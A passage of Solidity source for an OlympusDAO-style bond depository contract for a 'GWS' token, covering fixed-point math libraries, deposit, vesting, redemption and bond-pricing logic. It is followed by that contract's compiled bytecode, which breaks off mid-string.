uint256 y) private pure returns (uint256 l, uint256 h) { uint256 mm = mulmod(x, y, uint256(-1)); l = x * y; h = mm - l; if (mm < l) h -= 1; } function fullDiv( uint256 l, uint256 h, uint256 d ) private pure returns (uint256) { uint256 pow2 = d & -d; d /= pow2; l /= pow2; l += h * ((-pow2) / pow2 + 1); uint256 r = 1; r *= 2 - d * r; r *= 2 - d * r; r *= 2 - d * r; r *= 2 - d * r; r *= 2 - d * r; r *= 2 - d * r; r *= 2 - d * r; r *= 2 - d * r; return l * r; } function mulDiv( uint256 x, uint256 y, uint256 d ) internal pure returns (uint256) { (uint256 l, uint256 h) = fullMul(x, y); uint256 mm = mulmod(x, y, d); if (mm > l) h -= 1; l -= mm; require(h < d, 'FullMath::mulDiv: overflow'); return fullDiv(l, h, d); } } library FixedPoint { struct uq112x112 { uint224 _x; } struct uq144x112 { uint256 _x; } uint8 private constant RESOLUTION = 112; uint256 private constant Q112 = 0x10000000000000000000000000000; uint256 private constant Q224 = 0x100000000000000000000000000000000000000000000000000000000; uint256 private constant LOWER_MASK = 0xffffffffffffffffffffffffffff; // decimal of UQ*x112 (lower 112 bits) function decode(uq112x112 memory self) internal pure returns (uint112) { return uint112(self._x >> RESOLUTION); } function decode112with18(uq112x112 memory self) internal pure returns (uint) { return uint(self._x) / 5192296858534827; } function fraction(uint256 numerator, uint256 denominator) internal pure returns (uq112x112 memory) { require(denominator > 0, 'FixedPoint::fraction: division by zero'); if (numerator == 0) return FixedPoint.uq112x112(0); if (numerator <= uint144(-1)) { uint256 result = (numerator << RESOLUTION) / denominator; require(result <= uint224(-1), 'FixedPoint::fraction: overflow'); return uq112x112(uint224(result)); } else { uint256 result = FullMath.mulDiv(numerator, Q112, denominator); require(result <= uint224(-1), 'FixedPoint::fraction: overflow'); return uq112x112(uint224(result)); } } } interface ITreasury { function deposit( uint _amount, address _token, uint _profit ) external returns ( bool ); function valueOf( address _token, uint _amount ) external view returns ( uint value_ ); } interface IBondCalculator { function valuation( address _LP, uint _amount ) external view returns ( uint ); function markdown( address _LP ) external view returns ( uint ); } interface IStaking { function stake( uint _amount, address _recipient ) external returns ( bool ); } interface IStakingHelper { function stake( uint _amount, address _recipient ) external; } contract GenerationalWealthSocietyBondDepository is Ownable { using FixedPoint for *; using SafeERC20 for IERC20; using SafeMath for uint; /* ======== EVENTS ======== */ event BondCreated( uint deposit, uint indexed payout, uint indexed expires, uint indexed priceInUSD ); event BondRedeemed( address indexed recipient, uint payout, uint remaining ); event BondPriceChanged( uint indexed priceInUSD, uint indexed internalPrice, uint indexed debtRatio ); event ControlVariableAdjustment( uint initialBCV, uint newBCV, uint adjustment, bool addition ); /* ======== STATE VARIABLES ======== */ address public immutable GWS; // token given as payment for bond address public immutable principle; // token used to create bond address public immutable treasury; // mints GWS when receives principle address public immutable DAO; // receives profit share from bond bool public immutable isLiquidityBond; // LP and Reserve bonds are treated slightly different address public immutable bondCalculator; // calculates value of LP tokens address public staking; // to auto-stake payout address public stakingHelper; // to stake and claim if no staking warmup bool public useHelper; Terms public terms; // stores terms for new bonds Adjust public adjustment; // stores adjustment to BCV data mapping( address => Bond ) public bondInfo; // stores bond information for depositors uint public totalDebt; // total value of outstanding bonds; used for pricing uint public lastDecay; // reference block for debt decay /* ======== STRUCTS ======== */ // Info for creating new bonds struct Terms { uint controlVariable; // scaling variable for price uint vestingTerm; // in blocks uint minimumPrice; // vs principle value uint maxPayout; // in thousandths of a %. i.e. 500 = 0.5% uint fee; // as % of bond payout, in hundreths. ( 500 = 5% = 0.05 for every 1 paid) uint maxDebt; // 9 decimal debt ratio, max % total supply created as debt } // Info for bond holder struct Bond { uint payout; // GWS remaining to be paid uint vesting; // Blocks left to vest uint lastBlock; // Last interaction uint pricePaid; // In DAI, for front end viewing } // Info for incremental adjustments to control variable struct Adjust { bool add; // addition or subtraction uint rate; // increment uint target; // BCV when adjustment finished uint buffer; // minimum length (in blocks) between adjustments uint lastBlock; // block when last adjustment made } /* ======== INITIALIZATION ======== */ constructor ( address _GWS, address _principle, address _treasury, address _DAO, address _bondCalculator ) { require( _GWS != address(0), "_GWS=0"); GWS = _GWS; require( _principle != address(0), "_principle=0"); principle = _principle; require( _treasury != address(0), "_treasury=0"); treasury = _treasury; require( _DAO != address(0), "_DAO=0"); DAO = _DAO; // bondCalculator should be address(0) if not LP bond bondCalculator = _bondCalculator; isLiquidityBond = ( _bondCalculator != address(0) ); } /** * @notice initializes bond parameters * @param _controlVariable uint * @param _vestingTerm uint * @param _minimumPrice uint * @param _maxPayout uint * @param _fee uint * @param _maxDebt uint * @param _initialDebt uint */ function initializeBondTerms( uint _controlVariable, uint _vestingTerm, uint _minimumPrice, uint _maxPayout, uint _fee, uint _maxDebt, uint _initialDebt ) external onlyPolicy() { require( terms.controlVariable == 0, "Bonds must be initialized from 0" ); terms = Terms ({ controlVariable: _controlVariable, vestingTerm: _vestingTerm, minimumPrice: _minimumPrice, maxPayout: _maxPayout, fee: _fee, maxDebt: _maxDebt }); totalDebt = _initialDebt; lastDecay = block.number; } /* ======== POLICY FUNCTIONS ======== */ enum PARAMETER { VESTING, PAYOUT, FEE, DEBT } /** * @notice set parameters for new bonds * @param _parameter PARAMETER * @param _input uint */ function setBondTerms ( PARAMETER _parameter, uint _input ) external onlyPolicy() { if ( _parameter == PARAMETER.VESTING ) { // 0 require( _input >= 1000, "Vesting must be longer than 36 hours" ); terms.vestingTerm = _input; } else if ( _parameter == PARAMETER.PAYOUT ) { // 1 require( _input <= 1000, "Payout cannot be above 1 percent" ); terms.maxPayout = _input; } else if ( _parameter == PARAMETER.FEE ) { // 2 require( _input <= 10000, "DAO fee cannot exceed payout" ); terms.fee = _input; } else if ( _parameter == PARAMETER.DEBT ) { // 3 terms.maxDebt = _input; } } /** * @notice set control variable adjustment * @param _addition bool * @param _increment uint * @param _target uint * @param _buffer uint */ function setAdjustment ( bool _addition, uint _increment, uint _target, uint _buffer ) external onlyPolicy() { require( _increment <= terms.controlVariable.mul( 25 ).div( 1000 ), "Increment too large" ); adjustment = Adjust({ add: _addition, rate: _increment, target: _target, buffer: _buffer, lastBlock: block.number }); } /** * @notice set contract for auto stake * @param _staking address * @param _helper bool */ function setStaking( address _staking, bool _helper ) external onlyPolicy() { require( _staking != address(0) ); if ( _helper ) { useHelper = true; stakingHelper = _staking; } else { useHelper = false; staking = _staking; } } /* ======== USER FUNCTIONS ======== */ /** * @notice deposit bond * @param _amount uint * @param _maxPrice uint * @param _depositor address * @return uint */ function deposit( uint _amount, uint _maxPrice, address _depositor ) external returns ( uint ) { require( _depositor != address(0), "Invalid address" ); decayDebt(); require( totalDebt <= terms.maxDebt, "Max capacity reached" ); uint priceInUSD = bondPriceInUSD(); // Stored in bond info uint nativePrice = _bondPrice(); require( _maxPrice >= nativePrice, "Slippage limit: more than max price" ); // slippage protection uint value = ITreasury( treasury ).valueOf( principle, _amount ); uint payout = payoutFor( value ); // payout to bonder is computed require( payout >= 10000000, "Bond too small" ); // must be > 0.01 GWS ( underflow protection ) require( payout <= maxPayout(), "Bond too large"); // size protection because there is no slippage // profits are calculated uint fee = payout.mul( terms.fee ).div( 10000,"FE" ); uint profit = value.sub( payout ).sub( fee, "PP" ); /** principle is transferred in approved and deposited into the treasury, returning (_amount - profit) GWS */ IERC20( principle ).safeTransferFrom( msg.sender, address(this), _amount ); IERC20( principle ).approve( address( treasury ), _amount ); ITreasury( treasury ).deposit( _amount, principle, profit ); if ( fee != 0 ) { // fee is transferred to dao IERC20( GWS ).safeTransfer( DAO, fee ); } // total debt is increased totalDebt = totalDebt.add( value ); // depositor info is stored bondInfo[ _depositor ] = Bond({ payout: bondInfo[ _depositor ].payout.add( payout ), vesting: terms.vestingTerm, lastBlock: block.number, pricePaid: priceInUSD }); // indexed events are emitted emit BondCreated( _amount, payout, block.number.add( terms.vestingTerm ), priceInUSD ); emit BondPriceChanged( bondPriceInUSD(), _bondPrice(), debtRatio() ); adjust(); // control variable is adjusted return payout; } /** * @notice redeem bond for user * @param _recipient address * @param _stake bool * @return uint */ function redeem( address _recipient, bool _stake ) external returns ( uint ) { Bond memory info = bondInfo[ _recipient ]; uint percentVested = percentVestedFor( _recipient ); // (blocks since last interaction / vesting term remaining) if ( percentVested >= 10000 ) { // if fully vested delete bondInfo[ _recipient ]; // delete user info emit BondRedeemed( _recipient, info.payout, 0 ); // emit bond data return stakeOrSend( _recipient, _stake, info.payout ); // pay user everything due } else { // if unfinished // calculate payout vested uint payout = info.payout.mul( percentVested ).div( 10000 ); // store updated deposit info bondInfo[ _recipient ] = Bond({ payout: info.payout.sub( payout ), vesting: info.vesting.sub( block.number.sub( info.lastBlock ) ), lastBlock: block.number, pricePaid: info.pricePaid }); emit BondRedeemed( _recipient, payout, bondInfo[ _recipient ].payout ); return stakeOrSend( _recipient, _stake, payout ); } } /* ======== INTERNAL HELPER FUNCTIONS ======== */ /** * @notice allow user to stake payout automatically * @param _stake bool * @param _amount uint * @return uint */ function stakeOrSend( address _recipient, bool _stake, uint _amount ) internal returns ( uint ) { if ( !_stake ) { // if user does not want to stake IERC20( GWS ).transfer( _recipient, _amount ); // send payout } else { // if user wants to stake if ( useHelper ) { // use if staking warmup is 0 IERC20( GWS ).approve( stakingHelper, _amount ); IStakingHelper( stakingHelper ).stake( _amount, _recipient ); } else { IERC20( GWS ).approve( staking, _amount ); IStaking( staking ).stake( _amount, _recipient ); } } return _amount; } /** * @notice makes incremental adjustment to control variable */ function adjust() internal { uint blockCanAdjust = adjustment.lastBlock.add( adjustment.buffer ); if( adjustment.rate != 0 && block.number >= blockCanAdjust ) { uint initial = terms.controlVariable; if ( adjustment.add ) { terms.controlVariable = terms.controlVariable.add( adjustment.rate ); if ( terms.controlVariable >= adjustment.target ) { adjustment.rate = 0; } } else { terms.controlVariable = terms.controlVariable.sub( adjustment.rate ); if ( terms.controlVariable <= adjustment.target ) { adjustment.rate = 0; } } adjustment.lastBlock = block.number; emit ControlVariableAdjustment( initial, terms.controlVariable, adjustment.rate, adjustment.add ); } } /** * @notice reduce total debt */ function decayDebt() internal { totalDebt = totalDebt.sub( debtDecay() ); lastDecay = block.number; } /* ======== VIEW FUNCTIONS ======== */ /** * @notice determine maximum bond size * @return uint */ function maxPayout() public view returns ( uint ) { return IERC20( GWS ).totalSupply().mul( terms.maxPayout ).div( 100000 ); } /** * @notice calculate interest due for new bond * @param _value uint * @return uint */ function payoutFor( uint _value ) public view returns ( uint ) { return FixedPoint.fraction( _value, bondPrice() ).decode112with18().div( 1e16 ); } /** * @notice calculate current bond premium * @return price_ uint */ function bondPrice() public view returns ( uint price_ ) { price_ = terms.controlVariable.mul( debtRatio() ).add( 1000000000 ).div( 1e7 ); if ( price_ < terms.minimumPrice ) { price_ = terms.minimumPrice; } } /** * @notice calculate current bond price and remove floor if above * @return price_ uint */ function _bondPrice() internal returns ( uint price_ ) { price_ = terms.controlVariable.mul( debtRatio() ).add( 1000000000 ).div( 1e7 ); if ( price_ < terms.minimumPrice ) { price_ = terms.minimumPrice; } else if ( terms.minimumPrice != 0 ) { terms.minimumPrice = 0; } } /** * @notice converts bond price to DAI value * @return price_ uint */ function bondPriceInUSD() public view returns ( uint price_ ) { if( isLiquidityBond ) { price_ = bondPrice().mul( IBondCalculator( bondCalculator ).markdown( principle ) ).div( 100 ); } else { price_ = bondPrice().mul( 10 ** IERC20( principle ).decimals() ).div( 100 ); } } /** * @notice calculate current ratio of debt to GWS supply * @return debtRatio_ uint */ function debtRatio() public view returns ( uint debtRatio_ ) { uint supply = IERC20( GWS ).totalSupply(); debtRatio_ = FixedPoint.fraction( currentDebt().mul( 1e9 ), supply ).decode112with18().div( 1e18 ); } /** * @notice debt ratio in same terms for reserve or liquidity bonds * @return uint */ function standardizedDebtRatio() external view returns ( uint ) { if ( isLiquidityBond ) { return debtRatio().mul( IBondCalculator( bondCalculator ).markdown( principle ) ).div( 1e9 ); } else { return debtRatio(); } } /** * @notice calculate debt factoring in decay * @return uint */ function currentDebt() public view returns ( uint ) { return totalDebt.sub( debtDecay() ); } /** * @notice amount to decay total debt by * @return decay_ uint */ function debtDecay() public view returns ( uint decay_ ) { uint blocksSinceLast = block.number.sub( lastDecay ); decay_ = totalDebt.mul( blocksSinceLast ).div( terms.vestingTerm ); if ( decay_ > totalDebt ) { decay_ = totalDebt; } } /** * @notice calculate how far into vesting a depositor is * @param _depositor address * @return percentVested_ uint */ function percentVestedFor( address _depositor ) public view returns ( uint percentVested_ ) { Bond memory bond = bondInfo[ _depositor ]; uint blocksSinceLast = block.number.sub( bond.lastBlock ); uint vesting = bond.vesting; if ( vesting > 0 ) { percentVested_ = blocksSinceLast.mul( 10000 ).div( vesting ); } else { percentVested_ = 0; } } /** * @notice calculate amount of GWS available for claim by depositor * @param _depositor address * @return pendingPayout_ uint */ function pendingPayoutFor( address _depositor ) external view returns ( uint pendingPayout_ ) { uint percentVested = percentVestedFor( _depositor ); uint payout = bondInfo[ _depositor ].payout; if ( percentVested >= 10000 ) { pendingPayout_ = payout; } else { pendingPayout_ = payout.mul( percentVested ).div( 10000 ); } } /* ======= AUXILLIARY ======= */ /** * @notice allow anyone to send lost tokens (excluding principle or GWS) to the DAO * @return bool */ function recoverLostToken( address _token ) external returns ( bool ) { require( _token != GWS ); require( _token != principle ); IERC20( _token ).safeTransfer( DAO, IERC20( _token ).balanceOf( address(this) ) ); return true; } }
0x608060405234801561001057600080fd5b50600436106102115760003560e01c806377b8189511610125578063cea55f57116100ad578063d7ccfb0b1161007c578063d7ccfb0b14610571578063e0176de814610579578063e392a26214610581578063f5c2ab5b14610589578063fc7b9c181461059157610211565b8063cea55f57146104f8578063d4d863ce14610500578063d50256251461052e578063d79690601461056957610211565b8063904b3ece116100f4578063904b3ece1461046e57806398fabd3a14610476578063b4abccba1461047e578063c5332b7c146104a4578063cd1234b3146104ac57610211565b806377b818951461040f5780637927ebf814610417578063844b5c7c146104345780638dbdbe6d1461043c57610211565b8063451ee4a1116101a8578063508f183211610177578063508f1832146103ae5780635a96ac0a146103b657806361d027b3146103be57806371535008146103c6578063759076e51461040757610211565b8063451ee4a11461032557806346f68ee91461035a5780634cf088d914610380578063507930ec1461038857610211565b80631a3d0068116101e45780631a3d0068146102845780631e321a0f146102b55780631feed31f146102db5780632f3f470a1461030957610211565b8063016a42841461021657806301b88ee81461023a5780630505c8c914610272578063089208d81461027a575b600080fd5b61021e610599565b604080516001600160a01b039092168252519081900360200190f35b6102606004803603602081101561025057600080fd5b50356001600160a01b03166105bd565b60408051918252519081900360200190f35b61021e610616565b610282610626565b005b6102826004803603608081101561029a57600080fd5b508035151590602081013590604081013590606001356106bd565b610282600480360360408110156102cb57600080fd5b5060ff81351690602001356107b5565b610260600480360360408110156102f157600080fd5b506001600160a01b0381351690602001351515610969565b610311610b5e565b604080519115158252519081900360200190f35b61032d610b6e565b60408051951515865260208601949094528484019290925260608401526080830152519081900360a00190f35b6102826004803603602081101561037057600080fd5b50356001600160a01b0316610b86565b61021e610c73565b6102606004803603602081101561039e57600080fd5b50356001600160a01b0316610c82565b61021e610d14565b610282610d38565b61021e610de2565b610282600480360360e08110156103dc57600080fd5b5080359060208101359060408101359060608101359060808101359060a08101359060c00135610e06565b610260610efa565b61021e610f15565b6102606004803603602081101561042d57600080fd5b5035610f24565b610260610f4a565b6102606004803603606081101561045257600080fd5b50803590602081013590604001356001600160a01b03166110e3565b610260611713565b61021e61180f565b6103116004803603602081101561049457600080fd5b50356001600160a01b0316611833565b61021e611969565b6104d2600480360360208110156104c257600080fd5b50356001600160a01b031661198d565b604080519485526020850193909352838301919091526060830152519081900360800190f35b6102606119b4565b6102826004803603604081101561051657600080fd5b506001600160a01b0381351690602001351515611a6c565b610536611b2f565b604080519687526020870195909552858501939093526060850191909152608084015260a0830152519081900360c00190f35b610311611b44565b610260611b68565b610260611ba7565b610260611c44565b610260611c89565b610260611c8f565b7f0000000000000000000000006b175474e89094c44da98b954eedeac495271d0f81565b6000806105c983610c82565b6001600160a01b0384166000908152600f602052604090205490915061271082106105f65780925061060f565b61060c6127106106068385611c95565b90611cf5565b92505b5050919050565b6000546001600160a01b03165b90565b6000546001600160a01b03163314610673576040805162461bcd60e51b81526020600482018190526024820152600080516020612991833981519152604482015290519081900360640190fd5b600080546040516001600160a01b03909116907fea8258f2d9ddb679928cf34b78cf645b7feda9acc828e4dd82d014eaae270eba908390a3600080546001600160a01b0319169055565b6000546001600160a01b0316331461070a576040805162461bcd60e51b81526020600482018190526024820152600080516020612991833981519152604482015290519081900360640190fd5b600454610720906103e890610606906019611c95565b83111561076a576040805162461bcd60e51b8152602060048201526013602482015272496e6372656d656e7420746f6f206c6172676560681b604482015290519081900360640190fd5b6040805160a0810182529415158086526020860185905290850183905260608501829052436080909501859052600a805460ff19169091179055600b92909255600c55600d55600e55565b6000546001600160a01b03163314610802576040805162461bcd60e51b81526020600482018190526024820152600080516020612991833981519152604482015290519081900360640190fd5b600082600381111561081057fe5b1415610861576103e88110156108575760405162461bcd60e51b81526004018080602001828103825260248152602001806129d46024913960400191505060405180910390fd5b6005819055610965565b600182600381111561086f57fe5b14156108d6576103e88111156108cc576040805162461bcd60e51b815260206004820181905260248201527f5061796f75742063616e6e6f742062652061626f766520312070657263656e74604482015290519081900360640190fd5b6007819055610965565b60028260038111156108e457fe5b141561094b57612710811115610941576040805162461bcd60e51b815260206004820152601c60248201527f44414f206665652063616e6e6f7420657863656564207061796f757400000000604482015290519081900360640190fd5b6008819055610965565b600382600381111561095957fe5b14156109655760098190555b5050565b60006109736128c7565b506001600160a01b0383166000908152600f60209081526040808320815160808101835281548152600182015493810193909352600281015491830191909152600301546060820152906109c685610c82565b90506127108110610a56576001600160a01b0385166000818152600f602090815260408083208381556001810184905560028101849055600301839055855181519081529182019290925281517f51c99f515c87b0d95ba97f616edd182e8f161c4932eac17c6fefe9dab58b77b1929181900390910190a2610a4d85858460000151611d37565b92505050610b58565b8151600090610a6d90612710906106069085611c95565b90506040518060800160405280610a9183866000015161203b90919063ffffffff16565b8152602001610abb610ab086604001514361203b90919063ffffffff16565b60208701519061203b565b8152436020808301919091526060808701516040938401526001600160a01b038a166000818152600f84528490208551808255868501516001830155868601516002830155959092015160039092019190915582518581529182019390935281517f51c99f515c87b0d95ba97f616edd182e8f161c4932eac17c6fefe9dab58b77b1929181900390910190a2610b52868683611d37565b93505050505b92915050565b600354600160a01b900460ff1681565b600a54600b54600c54600d54600e5460ff9094169385565b6000546001600160a01b03163314610bd3576040805162461bcd60e51b81526020600482018190526024820152600080516020612991833981519152604482015290519081900360640190fd5b6001600160a01b038116610c185760405162461bcd60e51b81526004018080602001828103825260268152602001806129026026913960400191505060405180910390fd5b600080546040516001600160a01b03808516939216917fea8258f2d9ddb679928cf34b78cf645b7feda9acc828e4dd82d014eaae270eba91a3600180546001600160a01b0319166001600160a01b0392909216919091179055565b6002546001600160a01b031681565b6000610c8c6128c7565b506001600160a01b0382166000908152600f602090815260408083208151608081018352815481526001820154938101939093526002810154918301829052600301546060830152909190610ce290439061203b565b60208301519091508015610d0757610d008161060684612710611c95565b9350610d0c565b600093505b505050919050565b7f00000000000000000000000036f17bd0f7028c784b2e0c9b5a65dbe071a902d781565b6001546001600160a01b03163314610d815760405162461bcd60e51b81526004018080602001828103825260228152602001806129286022913960400191505060405180910390fd5b600154600080546040516001600160a01b0393841693909116917faa151555690c956fc3ea32f106bb9f119b5237a061eaa8557cff3e51e3792c8d91a3600154600080546001600160a01b0319166001600160a01b03909216919091179055565b7f000000000000000000000000f6b7ea4d234c545f061ff6d5a1a3d447ea8d8a4681565b6000546001600160a01b03163314610e53576040805162461bcd60e51b81526020600482018190526024820152600080516020612991833981519152604482015290519081900360640190fd5b60045415610ea8576040805162461bcd60e51b815260206004820181905260248201527f426f6e6473206d75737420626520696e697469616c697a65642066726f6d2030604482015290519081900360640190fd5b6040805160c08101825288815260208101889052908101869052606081018590526080810184905260a00182905260049690965560059490945560069290925560075560085560095560105543601155565b6000610f10610f07611c44565b6010549061203b565b905090565b6003546001600160a01b031681565b6000610b58662386f26fc10000610606610f4585610f40611b68565b61207d565b6121f4565b60007f0000000000000000000000000000000000000000000000000000000000000000156110485761104160646106067f00000000000000000000000000000000000000000000000000000000000000006001600160a01b03166332da80a37f0000000000000000000000006b175474e89094c44da98b954eedeac495271d0f6040518263ffffffff1660e01b815260040180826001600160a01b0316815260200191505060206040518083038186803b15801561100757600080fd5b505afa15801561101b573d6000803e3d6000fd5b505050506040513d602081101561103157600080fd5b505161103b611b68565b90611c95565b9050610623565b610f1060646106067f0000000000000000000000006b175474e89094c44da98b954eedeac495271d0f6001600160a01b031663313ce5676040518163ffffffff1660e01b815260040160206040518083038186803b1580156110a957600080fd5b505afa1580156110bd573d6000803e3d6000fd5b505050506040513d60208110156110d357600080fd5b505160ff16600a0a61103b611b68565b60006001600160a01b038216611132576040805162461bcd60e51b815260206004820152600f60248201526e496e76616c6964206164647265737360881b604482015290519081900360640190fd5b61113a61220c565b600954601054111561118a576040805162461bcd60e51b815260206004820152601460248201527313585e0818d85c1858da5d1e481c995858da195960621b604482015290519081900360640190fd5b6000611194610f4a565b905060006111a0612220565b9050808510156111e15760405162461bcd60e51b81526004018080602001828103825260238152602001806129b16023913960400191505060405180910390fd5b60007f000000000000000000000000f6b7ea4d234c545f061ff6d5a1a3d447ea8d8a466001600160a01b0316631eec5a9a7f0000000000000000000000006b175474e89094c44da98b954eedeac495271d0f896040518363ffffffff1660e01b815260040180836001600160a01b031681526020018281526020019250505060206040518083038186803b15801561127857600080fd5b505afa15801561128c573d6000803e3d6000fd5b505050506040513d60208110156112a257600080fd5b5051905060006112b182610f24565b9050629896808110156112fc576040805162461bcd60e51b815260206004820152600e60248201526d109bdb99081d1bdbc81cdb585b1b60921b604482015290519081900360640190fd5b611304611ba7565b811115611349576040805162461bcd60e51b815260206004820152600e60248201526d426f6e6420746f6f206c6172676560901b604482015290519081900360640190fd5b600061138a61271060405180604001604052806002815260200161464560f01b815250611383600480015486611c9590919063ffffffff16565b9190612262565b905060006113c78260405180604001604052806002815260200161050560f41b8152506113c0868861203b90919063ffffffff16565b9190612304565b90506113fe6001600160a01b037f0000000000000000000000006b175474e89094c44da98b954eedeac495271d0f1633308d61235e565b7f0000000000000000000000006b175474e89094c44da98b954eedeac495271d0f6001600160a01b031663095ea7b37f000000000000000000000000f6b7ea4d234c545f061ff6d5a1a3d447ea8d8a468c6040518363ffffffff1660e01b815260040180836001600160a01b0316815260200182815260200192505050602060405180830381600087803b15801561149557600080fd5b505af11580156114a9573d6000803e3d6000fd5b505050506040513d60208110156114bf57600080fd5b50506040805163bc157ac160e01b8152600481018c90526001600160a01b037f0000000000000000000000006b175474e89094c44da98b954eedeac495271d0f811660248301526044820184905291517f000000000000000000000000f6b7ea4d234c545f061ff6d5a1a3d447ea8d8a469092169163bc157ac1916064808201926020929091908290030181600087803b15801561155c57600080fd5b505af1158015611570573d6000803e3d6000fd5b505050506040513d602081101561158657600080fd5b505081156115e2576115e26001600160a01b037f00000000000000000000000036f17bd0f7028c784b2e0c9b5a65dbe071a902d7167f000000000000000000000000bd0500f9d9c80264d8de74acf21a257bfcfa9a62846123be565b6010546115ef9085612415565b601055604080516080810182526001600160a01b038a166000908152600f602052919091205481906116219086612415565b81526005805460208084019190915243604080850182905260609485018c90526001600160a01b038e166000908152600f8452819020865181559286015160018401558501516002830155939092015160039092019190915554879161168691612415565b604080518d8152905186917f1fec6dc81f140574bf43f6b1e420ae1dd47928b9d57db8cbd7b8611063b85ae5919081900360200190a46116c46119b4565b6116cc612220565b6116d4610f4a565b6040517f375b221f40939bfd8f49723a17cf7bc6d576ebf72efe2cc3e991826f5b3f390a90600090a461170561246f565b509098975050505050505050565b60007f00000000000000000000000000000000000000000000000000000000000000001561180757611041633b9aca006106067f00000000000000000000000000000000000000000000000000000000000000006001600160a01b03166332da80a37f0000000000000000000000006b175474e89094c44da98b954eedeac495271d0f6040518263ffffffff1660e01b815260040180826001600160a01b0316815260200191505060206040518083038186803b1580156117d357600080fd5b505afa1580156117e7573d6000803e3d6000fd5b505050506040513d60208110156117fd57600080fd5b505161103b6119b4565b6110416119b4565b7f000000000000000000000000bd0500f9d9c80264d8de74acf21a257bfcfa9a6281565b60007f00000000000000000000000036f17bd0f7028c784b2e0c9b5a65dbe071a902d76001600160a01b0316826001600160a01b0316141561187457600080fd5b7f0000000000000000000000006b175474e89094c44da98b954eedeac495271d0f6001600160a01b0316826001600160a01b031614156118b357600080fd5b6119617f000000000000000000000000bd0500f9d9c80264d8de74acf21a257bfcfa9a62836001600160a01b03166370a08231306040518263ffffffff1660e01b815260040180826001600160a01b0316815260200191505060206040518083038186803b15801561192457600080fd5b505afa158015611938573d6000803e3d6000fd5b505050506040513d602081101561194e57600080fd5b50516001600160a01b03851691906123be565b506001919050565b7f000000000000000000000000000000000000000000000000000000000000000081565b600f6020526000908152604090208054600182015460028301546003909301549192909184565b6000807f00000000000000000000000036f17bd0f7028c784b2e0c9b5a65dbe071a902d76001600160a01b03166318160ddd6040518163ffffffff1660e01b815260040160206040518083038186803b158015611a1057600080fd5b505afa158015611a24573d6000803e3d6000fd5b505050506040513d6020811015611a3a57600080fd5b50519050611a66670de0b6b3a7640000610606610f45611a60633b9aca0061103b610efa565b8561207d565b91505090565b6000546001600160a01b03163314611ab9576040805162461bcd60e51b81526020600482018190526024820152600080516020612991833981519152604482015290519081900360640190fd5b6001600160a01b038216611acc57600080fd5b8015611b015760038054600160a01b60ff60a01b19909116176001600160a01b0319166001600160a01b038416179055610965565b6003805460ff60a01b19169055600280546001600160a01b0384166001600160a01b03199091161790555050565b60045460055460065460075460085460095486565b7f000000000000000000000000000000000000000000000000000000000000000081565b6000611b9362989680610606633b9aca00611b8d611b846119b4565b60045490611c95565b90612415565b600654909150811015610623575060065490565b6000610f10620186a06106066004600301547f00000000000000000000000036f17bd0f7028c784b2e0c9b5a65dbe071a902d76001600160a01b03166318160ddd6040518163ffffffff1660e01b815260040160206040518083038186803b158015611c1257600080fd5b505afa158015611c26573d6000803e3d6000fd5b505050506040513d6020811015611c3c57600080fd5b505190611c95565b600080611c5c6011544361203b90919063ffffffff16565b600554601054919250611c73916106069084611c95565b9150601054821115611c855760105491505b5090565b60115481565b60105481565b600082611ca457506000610b58565b82820282848281611cb157fe5b0414611cee5760405162461bcd60e51b81526004018080602001828103825260218152602001806129706021913960400191505060405180910390fd5b9392505050565b6000611cee83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250612262565b600082611de7577f00000000000000000000000036f17bd0f7028c784b2e0c9b5a65dbe071a902d76001600160a01b031663a9059cbb85846040518363ffffffff1660e01b815260040180836001600160a01b0316815260200182815260200192505050602060405180830381600087803b158015611db557600080fd5b505af1158015611dc9573d6000803e3d6000fd5b505050506040513d6020811015611ddf57600080fd5b506120349050565b600354600160a01b900460ff1615611f0e576003546040805163095ea7b360e01b81526001600160a01b0392831660048201526024810185905290517f00000000000000000000000036f17bd0f7028c784b2e0c9b5a65dbe071a902d79092169163095ea7b3916044808201926020929091908290030181600087803b158015611e7057600080fd5b505af1158015611e84573d6000803e3d6000fd5b505050506040513d6020811015611e9a57600080fd5b505060035460408051637acb775760e01b8152600481018590526001600160a01b03878116602483015291519190921691637acb775791604480830192600092919082900301818387803b158015611ef157600080fd5b505af1158015611f05573d6000803e3d6000fd5b50505050612034565b6002546040805163095ea7b360e01b81526001600160a01b0392831660048201526024810185905290517f00000000000000000000000036f17bd0f7028c784b2e0c9b5a65dbe071a902d79092169163095ea7b3916044808201926020929091908290030181600087803b158015611f8557600080fd5b505af1158015611f99573d6000803e3d6000fd5b505050506040513d6020811015611faf57600080fd5b505060025460408051637acb775760e01b8152600481018590526001600160a01b03878116602483015291519190921691637acb77579160448083019260209291908290030181600087803b15801561200757600080fd5b505af115801561201b573d6000803e3d6000fd5b505050506040513d602081101561203157600080fd5b50505b5092915050565b6000611cee83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250612304565b6120856128ef565b600082116120c45760405162461bcd60e51b815260040180806020018281038252602681526020018061294a6026913960400191505060405180910390fd5b826120de5750604080516020810190915260008152610b58565b71ffffffffffffffffffffffffffffffffffff831161218557600082607085901b8161210657fe5b0490506001600160e01b03811115612165576040805162461bcd60e51b815260206004820152601e60248201527f4669786564506f696e743a3a6672616374696f6e3a206f766572666c6f770000604482015290519081900360640190fd5b6040518060200160405280826001600160e01b0316815250915050610b58565b600061219684600160701b8561254f565b90506001600160e01b03811115612165576040805162461bcd60e51b815260206004820152601e60248201527f4669786564506f696e743a3a6672616374696f6e3a206f766572666c6f770000604482015290519081900360640190fd5b516612725dd1d243ab6001600160e01b039091160490565b612217610f07611c44565b60105543601155565b600061223c62989680610606633b9aca00611b8d611b846119b4565b6006549091508110156122525750600654610623565b6006541561062357600060065590565b600081836122ee5760405162461bcd60e51b81526004018080602001828103825283818151815260200191508051906020019080838360005b838110156122b357818101518382015260200161229b565b50505050905090810190601f1680156122e05780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b5060008385816122fa57fe5b0495945050505050565b600081848411156123565760405162461bcd60e51b81526020600482018181528351602484015283519092839260449091019190850190808383600083156122b357818101518382015260200161229b565b505050900390565b604080516001600160a01b0380861660248301528416604482015260648082018490528251808303909101815260849091019091526020810180516001600160e01b03166323b872dd60e01b1790526123b89085906125ef565b50505050565b604080516001600160a01b038416602482015260448082018490528251808303909101815260649091019091526020810180516001600160e01b031663a9059cbb60e01b1790526124109084906125ef565b505050565b600082820183811015611cee576040805162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448